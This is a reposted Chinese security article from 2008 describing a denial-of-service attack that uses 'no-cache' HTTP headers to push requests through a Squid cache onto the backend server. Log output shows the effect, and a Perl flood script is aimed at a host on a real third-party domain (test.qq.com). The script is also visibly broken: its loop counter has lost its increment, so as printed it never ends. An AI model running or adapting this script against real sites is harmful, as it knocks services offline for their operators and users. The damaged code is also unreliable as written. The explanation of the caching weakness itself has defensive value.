利用HTTP指令进行攻击——Cache篇

2008-02-23 07:02:33来源：互联网阅读 ()

技术背景

随着Web技术越来越广泛的应用到我们的生活，Web应用的架构的设计者和开发者不得不面对这么一个问题，那就是Web不断增长的访问量和负载，随之提升性能的相关技术应运而生，如DNS轮询、负载均衡、Cache技术等等。如果有兴趣，大家不妨对大型网站进行一下抓包，可以发现很多网站都采用了squid反向代理，通过Squid的Cache提供高速Web响应。

攻击原理

Cache机制不仅给服务器处理带来了很大程度的性能提升，一定程度上，也大大提升了Web服务提供商应对Get Flood的能力。

用户对网站的访问，大多被分布的Cache服务器分担了，由于Cache服务器的数量以及Cache的良好处理吞吐性能，即便发生了Get Flood等攻击，此种机制也可以很好的自身消化掉攻击负载，并且即便单一Cache主机瘫痪也不会对整体Web服务造成影响。

我们可以假设这样一种形势，如果攻击者可以穿过Cache，直接将负载压力传达到后台提供HTTP服务的服务器，将这台机器攻击瘫痪，那么前台的服务器也将因为Cache无法得到更新而服务受到影响，达到拒绝服务的效果。

那么是否有方法可以达到上述效果呢？答案是肯定的，那就是通过HTTP指令来达到此种攻击。

HTTP协议（v1.1和v1.0）都提供了Cache处理字段，其中字段Cache-Control（v1.0中为Pragma），当这个字段的值为no-cache时，大多数cache软件将不对请求作出响应，而直接将请求传递到后台服务器，利用这个指令的机制，我们就可以实现我们所要达到的攻击效果。

效果验证

为了验证这种理论上的攻击形式，Coolc架设了简单的应用环境进行验证

正常访问

而在正常情况下，Squid会在内存Cache中处理所有请求，可以发现大多数请求的压力根本无法到达Apache，而直接在Squid消化。如下所示，500个请求，只有一个到达了Apache，而这个访问，只是Squid为了到Apache拉取最初始的文件内容造成的。

root@coolc:~/squid-2.5.STABLE12#cat apache-host.example.com-access_log |wc -l

    1

root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk '{print $4'}|uniq -c

499 TCP_MEM_HIT/200

指令绕过

当Squid在处理访问时，如果发现特殊的标志位后，其将会直接将请求向后转发，同事将在访问日志中记为一条TCP_CLIENT_REFRESH_MISS。通过下面试验，我发送了500个带特殊标志位的HTTP请求，直接越过了Cache，而将压力直接加载到后台，下面的结果我们验证了效果。

用Pragma: no-cache绕过

root@coolc:~/squid-2.5.STABLE12#cat apache-host.example.com-access_log |wc -l

    500

root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk '{print $4'}|uniq -c

500 TCP_CLIENT_REFRESH_MISS/200



用Cache-Control:no-cache绕过

root@coolc:~/squid-2.5.STABLE12# cat apache-host.example.com-access_log |wc -l

    500

root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk '{print $4'}|uniq -c

    500 TCP_CLIENT_REFRESH_MISS/200

演示代码：

use IO::Socket;

#$host=shift(@ARGV);

$i=1;

while ($i<500) {

    $i  ;

    print "\n$i\n";

    $remote = IO::Socket::INET->new(Proto => "tcp",

    PeerPort => "80",

    #PeerAddr => "blog.xfocus.net"

    PeerAddr => "test.qq.com"

    )||die(print "cant't connet $!");

    $remote->autoflush(1);

    print  $remote "GET /index.html HTTP/1.1\r\nAccept:image/gif image/x-xbitmap, 

image/jpeg,application/x-shockwave-flash\r\nReferer: http://www.google.com\r\nAccept:-

Language: zh-cn\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; 

SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\r\nCache-Control:no-

cache\r\nHOST:test.qq.com\n\n";

  #print <$remote>;

  close $remote;

  #sleep 1;

    }

实际应用

利用配置问题

在实际应用中的攻击，也许对方网管会采取作Squid的ACL方法来屏蔽此种攻击，但是实际环境中的攻击种类和方法会更加多样化，例如利用Squid默认配置中存在的问题，一样可以达到灵巧利用此问题，并具有一定隐蔽性。

场景某网管在Squid通过ACL做了no-cache过滤，使得加杂no-cahce的指令无法穿过，但是一样遭到了Cache拒绝服务攻击。

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